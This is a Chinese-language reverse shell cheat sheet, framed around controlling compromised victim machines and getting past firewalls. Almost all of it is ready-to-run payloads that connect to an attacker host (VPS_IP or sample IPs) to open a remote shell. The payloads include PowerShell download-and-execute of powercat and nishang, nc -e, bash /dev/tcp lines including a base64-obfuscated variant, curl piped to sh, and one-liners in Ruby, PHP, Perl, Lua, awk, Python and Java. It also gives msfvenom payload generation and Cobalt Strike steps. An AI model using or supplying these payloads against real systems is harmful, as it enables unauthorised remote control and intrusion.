介绍
什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
-
某客户机中了你的网马,但是它在局域网内,你直接连接不了。
-
目标机器的ip动态改变,你不能持续控制。
-
由于防火墙等限制,对方机器只能发送请求,不能接收请求。
-
对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接,防火墙一般对出站流量放行,很多时候可以用反弹shell来绕过防火墙的限制
windows反弹shell
常见问题
开启远程下载服务
推荐在tmp目录或者docker容器中开启,防止服务器敏感文件被恶意攻击者下载
cd /tmp
python -m http.server 80
编码问题
设置UTF-8编码
chcp 65001
powershell 无法执行脚本
Set-ExecutionPolicy RemoteSigned
powershell反弹cmd
powercat是netcat的powershell版本,下载地址:https://github.com/besimorhino/powercat ,由于这个地址默认是被墙的,所以可以放在可被访问的远程服务器上。执行命令的时候,自动下载执行。
被控端
powershell IEX(New-Object System.Net.Webclient).DownloadString('http://VPS_IP/powercat.ps1'); powercat -c VPS_IP -p 6666 -e cmd
控制端
nc -lvvp 6666
NC反弹cmd
nc.exe也可以放在远程服务器上提供下载
被控端
nc VPS_IP 6666 -e c:\windows\system32\cmd.exe
控制端
nc -lvvp 6666
nishang反弹
Nishang下载地址:https://github.com/samratashok/nishang
Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell
将nishang下载到攻击者本地,在目标机使用powershell执行以下命令
被控端
TCP
powershell IEX (New-Object Net.WebClient).DownloadString('http://VPS_IP/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress VPS_IP -port 6666
UDP
powershell IEX (New-ObjectNet.WebClient).DownloadString('http://VPS_IP/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress VPS_IP -port 6666
控制端
nc -lvvp 6666
Dnscat反弹shell
https://github.com/iagox86/dnscat2
被控端
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx
控制端
ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open
Linux反弹shell
常见问题
su失败
python调用本地shell实现命令行交互
终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
反弹shell出现指令乱码
(如果用的是sh shell,要在命令行切换成bash shell才能成功)
ctrl+Z # 切入后台
stty -echo raw # 设置原始格式
fg # 调用后台任务
bash反弹shell
bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"
/bin/bash -i > /dev/tcp/10.10.10.11/6666 0<& 2>&1
exec 5<>/dev/tcp/10.10.10.11/6666;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/10.10.10.11/6666 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/10.10.10.11/6666; sh <&196 >&196 2>&196
#{base64-decode} bash -i >& /dev/tcp/192.168.2.102/7777 0>&1
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAyLzQ0NDQgMD4mMQ== | base64 -d | bash
nc反弹shell
nc VPS-IP 6666 -e /bin/bash
nc VPS-IP 6666 -e /bin/sh
#但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
curl反弹shell
curl https://your-shell.com/vps:9999 | sh
在攻击主机上建立HTTP服务,同时将 payload 写进文件
控制端
# 新建payload
cd /tmp
echo 'bash -c "bash -i >& /dev/tcp/Your_IP/Your_Port 0>&1"' > index.html
# 开启Web服务
python3 -m http.server 80
被控端
curl http://Your_IP|bash
socat反弹shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234
Ruby反弹shell
ruby -rsocket -e'f=TCPSocket.open("VPS_IP",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PHP反弹shell
php -r 'exec("/bin/bash -i >& /dev/tcp/VPS_IP/7777")'
php -r '$sock=fsockopen("10.10.10.11",443);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("10.10.10.11",443);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
php -r '$sock=fsockopen("VPS_IP",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
Perl反弹shell
perl -e 'use Socket;$i="VPS_IP";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('VPS_IP','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
awk反弹shell
awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
telnet反弹shell
需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。
telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321
python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
java反弹shell
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/VPS_IP/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
上面文件保存为Revs.java文件,编译执行,成功反弹shell。
javac Revs.java
java Revs
MSF反弹shell
使用msfvenom生成相关Payload
#Windows
msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=VPS_IP LPORT=1234
#Linux
msfvenom -l payloads | grep 'linux/x86/meterpreter/reverse'
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f elf > shell.elf
msfvenom -l payloads | grep 'cmd/unix/reverse_bash'
msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.11" LPORT=443 -f raw > shell.sh
#Java
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.11" LPORT=443 -f war > shell.war
#Python
msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.11" LPORT=443 -f raw > shell.py
#Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.11" LPORT=443 -f asp > shell.asp
Cobalt strike反弹shell
1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload